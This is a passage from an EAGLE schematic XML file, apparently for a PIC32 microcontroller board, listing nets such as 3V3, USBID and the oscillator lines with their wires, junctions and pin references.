y=\"-106.68\"/>\n<pinref part=\"TP8\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"325.12\" y=\"-93.98\"/>\n<pinref part=\"R43\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"363.22\" y=\"-73.66\"/>\n</segment>\n</net>\n<net name=\"DIV-\" class=\"0\">\n<segment>\n<pinref part=\"C2\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"109.22\" y1=\"-132.08\" x2=\"109.22\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"109.22\" y1=\"-137.16\" x2=\"109.22\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"109.22\" y1=\"-132.08\" x2=\"114.3\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"109.22\" y=\"-137.16\"/>\n<pinref part=\"JP4\" gate=\"A\" pin=\"1\"/>\n<pinref part=\"JP4\" gate=\"A\" pin=\"3\"/>\n<wire x1=\"114.3\" y1=\"-132.08\" x2=\"127\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"127\" y1=\"-132.08\" x2=\"127\" y2=\"-134.62\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"124.46\" y1=\"-129.54\" x2=\"127\" y2=\"-129.54\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP4\" gate=\"A\" pin=\"5\"/>\n<junction x=\"127\" y=\"-132.08\"/>\n<junction x=\"127\" y=\"-129.54\"/>\n<junction x=\"124.46\" y=\"-129.54\"/>\n<junction x=\"129.54\" y=\"-129.54\"/>\n<pinref part=\"U4\" gate=\"C\" pin=\"+IN\"/>\n<wire x1=\"109.22\" y1=\"-78.74\" x2=\"251.46\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"264.16\" y=\"-78.74\"/>\n<junction x=\"109.22\" y=\"-132.08\"/>\n<pinref part=\"TP2\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"114.3\" y=\"-132.08\"/>\n<wire x1=\"251.46\" y1=\"-78.74\" x2=\"264.16\" y2=\"-78.74\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"251.46\" y1=\"-78.74\" x2=\"251.46\" y2=\"-60.96\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"251.46\" y1=\"-60.96\" x2=\"386.08\" y2=\"-60.96\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"388.62\" y=\"-60.96\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"251.46\" y=\"-78.74\"/>\n<wire x1=\"129.54\" y1=\"-129.54\" x2=\"127\" y2=\"-129.54\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"127\" y1=\"-129.54\" x2=\"127\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"J3\" gate=\"1\" pin=\"1\"/>\n<wire x1=\"127\" y1=\"-132.08\" x2=\"134.62\" y2=\"-132.08\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"134.62\" y=\"-132.08\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"AN12/ERXD0/AECRS/PMA11/RB12\"/>\n<wire x1=\"-43.18\" y1=\"66.04\" x2=\"-50.8\" y2=\"66.04\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"66.04\"/>\n<label x=\"-58.42\" y=\"66.04\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"259.08\" y1=\"71.12\" x2=\"274.32\" y2=\"71.12\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"261.62\" y=\"71.374\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"22\"/>\n<junction x=\"274.32\" y=\"71.12\"/>\n</segment>\n</net>\n<net name=\"N$13\" class=\"0\">\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"P1W\"/>\n<wire x1=\"213.36\" y1=\"-119.38\" x2=\"220.98\" y2=\"-119.38\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"220.98\" y1=\"-119.38\" x2=\"220.98\" y2=\"-141.478\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"220.98\" y1=\"-141.478\" x2=\"142.24\" y2=\"-141.478\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"213.36\" y=\"-119.38\"/>\n<wire x1=\"142.24\" y1=\"-141.478\" x2=\"142.24\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"142.24\" y1=\"-121.92\" x2=\"134.62\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP4\" gate=\"A\" pin=\"6\"/>\n<junction x=\"129.54\" y=\"-121.92\"/>\n<pinref part=\"J3\" gate=\"1\" pin=\"2\"/>\n<wire x1=\"134.62\" y1=\"-121.92\" x2=\"129.54\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"134.62\" y=\"-121.92\"/>\n</segment>\n</net>\n<net name=\"N$18\" class=\"0\">\n<segment>\n<pinref part=\"U1\" gate=\"A\" pin=\"P0W\"/>\n<wire x1=\"213.36\" y1=\"-109.22\" x2=\"243.84\" y2=\"-109.22\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"213.36\" y=\"-109.22\"/>\n<wire x1=\"243.84\" y1=\"-109.22\" x2=\"243.84\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP5\" gate=\"A\" pin=\"6\"/>\n<wire x1=\"243.84\" y1=\"-121.92\" x2=\"238.76\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"238.76\" y=\"-121.92\"/>\n<pinref part=\"J2\" gate=\"1\" pin=\"2\"/>\n<wire x1=\"243.84\" y1=\"-121.92\" x2=\"246.38\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"246.38\" y=\"-121.92\"/>\n<junction x=\"243.84\" y=\"-121.92\"/>\n</segment>\n</net>\n<net name=\"N$21\" class=\"0\">\n<segment>\n<pinref part=\"R12\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"JP4\" gate=\"A\" pin=\"4\"/>\n<junction x=\"127\" y=\"-121.92\"/>\n<pinref part=\"R5\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"137.16\" y1=\"-104.902\" x2=\"137.16\" y2=\"-104.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"137.16\" y1=\"-104.14\" x2=\"127\" y2=\"-104.14\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"127\" y1=\"-104.14\" x2=\"127\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"137.16\" y=\"-104.902\"/>\n<junction x=\"127\" y=\"-104.14\"/>\n</segment>\n</net>\n<net name=\"N$25\" class=\"0\">\n<segment>\n<pinref part=\"R11\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"JP5\" gate=\"A\" pin=\"4\"/>\n<junction x=\"236.22\" y=\"-106.68\"/>\n<pinref part=\"R9\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"236.22\" y1=\"-106.68\" x2=\"236.22\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"251.46\" y1=\"-106.68\" x2=\"236.22\" y2=\"-106.68\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"236.22\" y=\"-121.92\"/>\n<junction x=\"251.46\" y=\"-106.68\"/>\n</segment>\n</net>\n<net name=\"N$2\" class=\"0\">\n<segment>\n<pinref part=\"R4\" gate=\"G$1\" pin=\"S\"/>\n<pinref part=\"JP4\" gate=\"A\" pin=\"2\"/>\n<wire x1=\"124.46\" y1=\"-114.3\" x2=\"124.46\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"-114.3\"/>\n<junction x=\"124.46\" y=\"-121.92\"/>\n</segment>\n</net>\n<net name=\"N$16\" class=\"0\">\n<segment>\n<pinref part=\"R3\" gate=\"G$1\" pin=\"S\"/>\n<pinref part=\"JP5\" gate=\"A\" pin=\"2\"/>\n<wire x1=\"233.68\" y1=\"-116.84\" x2=\"233.68\" y2=\"-121.92\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"233.68\" y=\"-121.92\"/>\n<junction x=\"233.68\" y=\"-116.84\"/>\n</segment>\n</net>\n<net name=\"DOWNS_ORIN1\" class=\"0\">\n<segment>\n<pinref part=\"U2\" gate=\"A\" pin=\"2Y\"/>\n<pinref part=\"U3\" gate=\"G$1\" pin=\"B\"/>\n<junction x=\"340.36\" y=\"-111.76\"/>\n<wire x1=\"335.28\" y1=\"-83.82\" x2=\"363.22\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"JP10\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"335.28\" y=\"-83.82\"/>\n<wire x1=\"335.28\" y1=\"-111.76\" x2=\"335.28\" y2=\"-93.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"335.28\" y=\"-111.76\"/>\n<wire x1=\"335.28\" y1=\"-93.98\" x2=\"335.28\" y2=\"-83.82\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"335.28\" y1=\"-111.76\" x2=\"340.36\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"325.12\" y1=\"-109.22\" x2=\"325.12\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"325.12\" y1=\"-111.76\" x2=\"335.28\" y2=\"-111.76\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"325.12\" y=\"-109.22\"/>\n<pinref part=\"TP9\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"335.28\" y=\"-93.98\"/>\n<pinref part=\"R44\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"363.22\" y=\"-83.82\"/>\n</segment>\n</net>\n<net name=\"VCAP/VDDCORE\" class=\"0\">\n<segment>\n<wire x1=\"-66.04\" y1=\"154.94\" x2=\"-73.66\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-66.04\" y1=\"147.32\" x2=\"-66.04\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-73.66\" y1=\"144.78\" x2=\"-66.04\" y2=\"144.78\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-66.04\" y1=\"144.78\" x2=\"-66.04\" y2=\"147.32\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-66.04\" y1=\"147.32\" x2=\"-43.18\" y2=\"147.32\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-66.04\" y=\"147.32\"/>\n<pinref part=\"C16\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C15\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VCAP/VDDCORE\"/>\n<junction x=\"-43.18\" y=\"147.32\"/>\n<junction x=\"-73.66\" y=\"144.78\"/>\n<junction x=\"-73.66\" y=\"154.94\"/>\n<label x=\"-64.516\" y=\"147.828\" size=\"1.778\" layer=\"95\"/>\n</segment>\n</net>\n<net name=\"3V3\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"VDD\"/>\n<wire x1=\"-43.18\" y1=\"149.86\" x2=\"-45.72\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"149.86\" x2=\"-45.72\" y2=\"152.4\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VDD_6\"/>\n<wire x1=\"-43.18\" y1=\"152.4\" x2=\"-45.72\" y2=\"152.4\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"152.4\" x2=\"-45.72\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VDD_5\"/>\n<wire x1=\"-43.18\" y1=\"154.94\" x2=\"-45.72\" y2=\"154.94\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"154.94\" x2=\"-45.72\" y2=\"157.48\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VDD_4\"/>\n<wire x1=\"-43.18\" y1=\"157.48\" x2=\"-45.72\" y2=\"157.48\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"157.48\" x2=\"-45.72\" y2=\"160.02\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VDD_3\"/>\n<wire x1=\"-43.18\" y1=\"160.02\" x2=\"-45.72\" y2=\"160.02\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"VDD_2\"/>\n<wire x1=\"-43.18\" y1=\"162.56\" x2=\"-45.72\" y2=\"162.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"162.56\" x2=\"-45.72\" y2=\"165.1\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"AVDD\"/>\n<wire x1=\"-43.18\" y1=\"165.1\" x2=\"-45.72\" y2=\"165.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-45.72\" y1=\"162.56\" x2=\"-45.72\" y2=\"160.02\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"+3V7\" gate=\"G$1\" pin=\"+3V3\"/>\n<wire x1=\"-45.72\" y1=\"157.48\" x2=\"-48.26\" y2=\"157.48\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"149.86\"/>\n<junction x=\"-43.18\" y=\"152.4\"/>\n<junction x=\"-43.18\" y=\"154.94\"/>\n<junction x=\"-43.18\" y=\"157.48\"/>\n<junction x=\"-43.18\" y=\"160.02\"/>\n<junction x=\"-43.18\" y=\"162.56\"/>\n<junction x=\"-43.18\" y=\"165.1\"/>\n<junction x=\"-45.72\" y=\"162.56\"/>\n<junction x=\"-45.72\" y=\"160.02\"/>\n<junction x=\"-45.72\" y=\"157.48\"/>\n<junction x=\"-45.72\" y=\"154.94\"/>\n<junction x=\"-45.72\" y=\"152.4\"/>\n<junction x=\"-48.26\" y=\"157.48\"/>\n</segment>\n<segment>\n<wire x1=\"-142.24\" y1=\"147.32\" x2=\"-142.24\" y2=\"149.86\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"P+5\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"R29\" gate=\"G$1\" pin=\"1\"/>\n</segment>\n<segment>\n<wire x1=\"-142.24\" y1=\"205.74\" x2=\"-142.24\" y2=\"203.2\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"P+16\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"R31\" gate=\"G$1\" pin=\"1\"/>\n</segment>\n<segment>\n<wire x1=\"-142.24\" y1=\"177.8\" x2=\"-142.24\" y2=\"175.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"P+17\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"R30\" gate=\"G$1\" pin=\"1\"/>\n</segment>\n<segment>\n<wire x1=\"-22.86\" y1=\"228.6\" x2=\"-30.48\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-30.48\" y1=\"228.6\" x2=\"-38.1\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-38.1\" y1=\"228.6\" x2=\"-68.58\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-53.34\" y1=\"223.52\" x2=\"-53.34\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-53.34\" y1=\"228.6\" x2=\"-38.1\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-35.56\" y1=\"223.52\" x2=\"-35.56\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-35.56\" y1=\"228.6\" x2=\"-30.48\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-20.32\" y1=\"223.52\" x2=\"-20.32\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-20.32\" y1=\"228.6\" x2=\"-22.86\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-7.62\" y1=\"223.52\" x2=\"-7.62\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-7.62\" y1=\"228.6\" x2=\"-15.24\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-15.24\" y1=\"228.6\" x2=\"-22.86\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-15.24\" y1=\"228.6\" x2=\"5.08\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"5.08\" y1=\"228.6\" x2=\"5.08\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-22.86\" y1=\"231.14\" x2=\"-22.86\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-68.58\" y1=\"228.6\" x2=\"-68.58\" y2=\"223.52\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-38.1\" y=\"228.6\"/>\n<junction x=\"-30.48\" y=\"228.6\"/>\n<junction x=\"-22.86\" y=\"228.6\"/>\n<junction x=\"-15.24\" y=\"228.6\"/>\n<pinref part=\"P+11\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"C19\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C20\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C21\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C22\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C23\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"C24\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"5.08\" y=\"223.52\"/>\n<junction x=\"-7.62\" y=\"223.52\"/>\n<junction x=\"-20.32\" y=\"223.52\"/>\n<junction x=\"-35.56\" y=\"223.52\"/>\n<junction x=\"-53.34\" y=\"223.52\"/>\n<junction x=\"-68.58\" y=\"223.52\"/>\n<junction x=\"-22.86\" y=\"231.14\"/>\n</segment>\n<segment>\n<pinref part=\"P+12\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"JP15\" gate=\"-1\" pin=\"38\"/>\n<wire x1=\"329.692\" y1=\"30.734\" x2=\"306.324\" y2=\"30.734\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"329.692\" y=\"30.734\"/>\n</segment>\n<segment>\n<wire x1=\"274.32\" y1=\"30.48\" x2=\"248.92\" y2=\"30.48\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"P+9\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"JP14\" gate=\"-1\" pin=\"38\"/>\n<junction x=\"274.32\" y=\"30.48\"/>\n<junction x=\"248.92\" y=\"30.48\"/>\n</segment>\n<segment>\n<wire x1=\"88.9\" y1=\"231.14\" x2=\"88.9\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"106.68\" y1=\"228.6\" x2=\"101.6\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"101.6\" y1=\"228.6\" x2=\"88.9\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"106.68\" y1=\"228.6\" x2=\"106.68\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"106.68\" y=\"228.6\"/>\n<label x=\"99.06\" y=\"229.108\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"P+18\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"C18\" gate=\"G$1\" pin=\"1\"/>\n<junction x=\"106.68\" y=\"220.98\"/>\n<junction x=\"88.9\" y=\"231.14\"/>\n<pinref part=\"U8\" gate=\"G$1\" pin=\"OUT1\"/>\n<wire x1=\"109.22\" y1=\"228.6\" x2=\"106.68\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"109.22\" y=\"228.6\"/>\n<pinref part=\"TP18\" gate=\"G$1\" pin=\"TP\"/>\n<junction x=\"101.6\" y=\"228.6\"/>\n</segment>\n<segment>\n<wire x1=\"269.24\" y1=\"144.78\" x2=\"259.08\" y2=\"144.78\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"266.7\" y=\"145.034\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<pinref part=\"JP16\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"TP14\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"269.24\" y1=\"144.78\" x2=\"289.56\" y2=\"144.78\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"269.24\" y=\"144.78\"/>\n<junction x=\"289.56\" y=\"144.78\"/>\n</segment>\n<segment>\n<pinref part=\"P+13\" gate=\"G$1\" pin=\"3.3V\"/>\n<wire x1=\"-167.64\" y1=\"48.26\" x2=\"-162.56\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R22\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-167.64\" y1=\"60.96\" x2=\"-167.64\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-162.56\" y=\"48.26\"/>\n<pinref part=\"R19\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-167.64\" y1=\"10.16\" x2=\"-167.64\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-167.64\" y1=\"22.86\" x2=\"-167.64\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-167.64\" y1=\"35.56\" x2=\"-167.64\" y2=\"48.26\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-167.64\" y=\"10.16\"/>\n<junction x=\"-167.64\" y=\"48.26\"/>\n<pinref part=\"R21\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-167.64\" y1=\"35.56\" x2=\"-162.56\" y2=\"35.56\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R24\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-162.56\" y1=\"60.96\" x2=\"-167.64\" y2=\"60.96\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-167.64\" y1=\"60.96\" x2=\"-167.64\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R25\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-162.56\" y1=\"73.66\" x2=\"-167.64\" y2=\"73.66\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-167.64\" y1=\"73.66\" x2=\"-167.64\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R27\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-162.56\" y1=\"86.36\" x2=\"-167.64\" y2=\"86.36\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-167.64\" y1=\"86.36\" x2=\"-167.64\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R28\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-162.56\" y1=\"99.06\" x2=\"-167.64\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-167.64\" y1=\"106.68\" x2=\"-167.64\" y2=\"99.06\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-167.64\" y=\"35.56\"/>\n<junction x=\"-167.64\" y=\"60.96\"/>\n<junction x=\"-167.64\" y=\"73.66\"/>\n<junction x=\"-167.64\" y=\"86.36\"/>\n<junction x=\"-162.56\" y=\"35.56\"/>\n<junction x=\"-167.64\" y=\"99.06\"/>\n<junction x=\"-162.56\" y=\"99.06\"/>\n<junction x=\"-162.56\" y=\"86.36\"/>\n<junction x=\"-162.56\" y=\"73.66\"/>\n<junction x=\"-162.56\" y=\"60.96\"/>\n<pinref part=\"R20\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"-162.56\" y1=\"22.86\" x2=\"-167.64\" y2=\"22.86\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-162.56\" y=\"22.86\"/>\n<junction x=\"-167.64\" y=\"22.86\"/>\n</segment>\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"VUSB\"/>\n<wire x1=\"-43.18\" y1=\"134.62\" x2=\"-60.96\" y2=\"134.62\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"-43.18\" y=\"134.62\"/>\n<pinref part=\"+3V2\" gate=\"G$1\" pin=\"+3V3\"/>\n<junction x=\"-60.96\" y=\"134.62\"/>\n</segment>\n<segment>\n<pinref part=\"P+3\" gate=\"G$1\" pin=\"3.3V\"/>\n<pinref part=\"R33\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"314.96\" y1=\"256.54\" x2=\"314.96\" y2=\"251.46\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R34\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"294.64\" y1=\"251.46\" x2=\"304.8\" y2=\"251.46\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"R35\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"304.8\" y1=\"251.46\" x2=\"314.96\" y2=\"251.46\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"294.64\" y=\"251.46\"/>\n<junction x=\"304.8\" y=\"251.46\"/>\n<junction x=\"314.96\" y=\"251.46\"/>\n<junction x=\"314.96\" y=\"256.54\"/>\n<pinref part=\"R36\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"314.96\" y1=\"251.46\" x2=\"320.04\" y2=\"251.46\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"325.12\" y=\"251.46\"/>\n<pinref part=\"USD_1\" gate=\"G$1\" pin=\"4_VDD\"/>\n<wire x1=\"320.04\" y1=\"251.46\" x2=\"325.12\" y2=\"251.46\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"337.82\" y1=\"228.6\" x2=\"320.04\" y2=\"228.6\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"C17\" gate=\"G$1\" pin=\"1\"/>\n<wire x1=\"320.04\" y1=\"228.6\" x2=\"320.04\" y2=\"215.9\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"320.04\" y=\"215.9\"/>\n<junction x=\"337.82\" y=\"228.6\"/>\n<wire x1=\"320.04\" y1=\"228.6\" x2=\"320.04\" y2=\"251.46\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"320.04\" y=\"228.6\"/>\n<junction x=\"320.04\" y=\"251.46\"/>\n</segment>\n<segment>\n<pinref part=\"R23\" gate=\"G$1\" pin=\"1\"/>\n<pinref part=\"+3V1\" gate=\"G$1\" pin=\"+3V3\"/>\n<wire x1=\"182.88\" y1=\"53.34\" x2=\"177.8\" y2=\"53.34\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"177.8\" y=\"53.34\"/>\n<junction x=\"182.88\" y=\"53.34\"/>\n</segment>\n</net>\n<net name=\"USBID\" class=\"0\">\n<segment>\n<pinref part=\"U6\" gate=\"A\" pin=\"USBID/RF3\"/>\n<pinref part=\"R23\" gate=\"G$1\" pin=\"2\"/>\n<wire x1=\"167.64\" y1=\"53.34\" x2=\"124.46\" y2=\"53.34\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"124.46\" y=\"53.34\"/>\n<junction x=\"167.64\" y=\"53.34\"/>\n<label x=\"137.16\" y=\"53.34\" size=\"1.778\" layer=\"95\"/>\n</segment>\n<segment>\n<wire x1=\"236.22\" y1=\"220.98\" x2=\"218.44\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<label x=\"208.28\" y=\"220.98\" size=\"1.778\" layer=\"95\"/>\n<pinref part=\"TP32\" gate=\"G$1\" pin=\"TP\"/>\n<wire x1=\"218.44\" y1=\"220.98\" x2=\"226.06\" y2=\"220.98\" width=\"0.1524\" layer=\"91\"/>\n<junction x=\"218.44\" y=\"220.98\"/>\n<pinref part=\"U$2\" gate=\"G$1\" pin=\"$USBID\"/>\n</segment>\n</net>\n<net name=\"OSC2\" class=\"0\">\n<segment>\n<wire x1=\"-43.18\" y1=\"40.64\" x2=\"-83.82\" y2=\"40.64\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-83.82\" y1=\"43.18\" x2=\"-83.82\" y2=\"40.64\" width=\"0.1524\" layer=\"91\"/>\n<pinref part=\"X1\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"C14\" gate=\"G$1\" pin=\"2\"/>\n<pinref part=\"U6\" gate=\"A\" pin=\"OSC1/CLKI/RC12\"/>\n<junction x=\"-43.18\" y=\"40.64\"/>\n<junction x=\"-83.82\" y=\"40.64\"/>\n<label x=\"-58.42\" y=\"40.64\" size=\"1.778\" layer=\"95\"/>\n<junction x=\"-83.82\" y=\"43.18\"/>\n</segment>\n</net>\n<net name=\"OSC1\" class=\"0\">\n<segment>\n<wire x1=\"-83.82\" y1=\"35.56\" x2=\"-83.82\" y2=\"33.02\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-43.18\" y1=\"38.1\" x2=\"-76.2\" y2=\"38.1\" width=\"0.1524\" layer=\"91\"/>\n<wire x1=\"-76.2\" y1=\"38.1\" x2=\"-76.2\" y2=\"33.02\" width=\"0.1524\" 